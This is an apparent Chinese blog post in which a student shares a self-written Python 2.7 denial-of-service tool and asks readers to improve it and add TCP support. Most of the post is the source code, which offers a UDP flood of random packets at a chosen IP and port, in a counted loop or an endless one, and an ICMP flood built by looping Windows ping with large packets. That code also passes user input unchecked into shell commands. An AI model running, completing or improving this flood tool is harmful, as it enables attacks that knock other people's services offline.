自制DDoS工具,望高手能够为我提出一些建议,谢谢

事情是这样的:

  •  首先,我是个初中生。然后又因为最近上网课,就向别人借了个电脑来学习。平时没事干,于是就自己瞎捣鼓python,就写出了这个来玩玩。
  • 运行环境:python2.7
  • 因为电脑是借的,所以也不敢瞎装什么虚拟机,所以也没有测试……
  • ps:该ddos工具我加入了对udp协议和icmp协议的攻击,udp不用测试,我是直接对Ha3MrX的ddos-attack工具进行了修改就套上去了;但是icmp协议不知道怎么编,也不知道我现在编的有没有效果,所以希望能够提出些建议,我随时欢迎。
  • 哦对对对,如果能加入tcp协议更好。
  • 谢谢。

以下为源代码:

import socket
import random
import os

print "Hallo"
print("Author:Cyf")
a = raw_input("UDP or ICMP:")

if a == "UDP":
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    msg = raw_input("CHOOSE:No Limit(1) or Limit(2):")

    if msg == "Limit" or msg == "limit" or msg == "2":
        IP = raw_input("IP:")
        Port = input("Port:")
        Pocket = input("Pocket:")
        x = 1
        sent = 0
        bytes = random._urandom(1490)

        for x in range(Pocket):
            sock.sendto(bytes, (IP, Port))
            sent = sent + 1
            print("Sent %s packet to %s throught port:%s") % (sent, IP, Port)
            os.system("pause")

    elif msg == "No Limit" or msg == "no limit" or msg == "No limit" or msg == "1":
        IP = raw_input("IP:")
        Port = input("Port:")
        sent = 0
        bytes = random._urandom(1490)
        while True:
            sock.sendto(bytes, (IP, Port))
            sent = sent + 1
            print("Sent %s packet to %s throught port:%s") % (sent, IP, Port)
            os.system("pause")


elif a == "ICMP":
    q = raw_input("Do U want to know the Domain's Name of your target?[Y or N](If U choose Y,it maybe slower to attack)")
    if q == "Y" or q == "y":
      msg = raw_input("CHOOSE:No Limit(1) or Limit(2):")
      if msg == "Limit" or msg == "limit" or msg == "2":
          a = raw_input("IP:")
          p = input("Packets:")
          c = raw_input("Ping amount in a packet:")
          s = raw_input("The size of the packets(0~65500 Bytes):")
          x = 1
          n = 1
          for x in range(p):
              b = os.system("ping -a " + a + " -n " + c + " -l " + s + " -w 100")
              print ("Sent %s packets at all" % (n))
              n = n + 1
          os.system("pause")
          print ("Result: %s") % (b)
          os.system("pause")

      elif msg == "No Limit" or msg == "no limit" or msg == "No limit" or msg == "1":
          a = raw_input("IP:")
          c = raw_input("Ping amount in a packet:")
          s = raw_input("The size of the packets(0~65500 Bytes):")
          x = 1
          while True:
              b = os.system("ping -a " + a + " -n " + c + " -l " + s + " -w 100")
              print ("Sent %s packets at all") % (x)
              x = x + 1
          os.system("pause")
          print ("Result: %s") % (b)
          os.system("pause")

    elif q == "N" or q == "n":
        msg = raw_input("CHOOSE:No Limit(1) or Limit(2):")
        if msg == "Limit" or msg == "limit" or msg == "2":
            a = raw_input("IP:")
            p = input("Packets:")
            c = raw_input("Ping amount in a packet:")
            s = raw_input("The size of the packets(0~65500 Bytes):")
            x = 1
            n = 1
            for x in range(p):
                b = os.system("ping " + a + " -n " + c + " -l " + s + " -w 100")
                print ("Sent %s packets at all" % (n))
                n = n + 1
            os.system("pause")
            print ("Result: %s") % (b)
            os.system("pause")

        elif msg == "No Limit" or msg == "no limit" or msg == "No limit" or msg == "1":
            a = raw_input("IP:")
            c = raw_input("Ping amount in a packet:")
            s = raw_input("The size of the packets(0~65500 Bytes):")
            x = 1
            while True:
                b = os.system("ping " + a + " -n " + c + " -l " + s + " -w 100")
                print ("Sent %s packets at all") % (x)
                x = x + 1
            os.system("pause")
            print ("Result: %s") % (b)
            os.system("pause")

怎样?是不是写的很不好?我都快不敢贴出来了……

最后再说一句:望高手们能够提出建议!谢谢!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值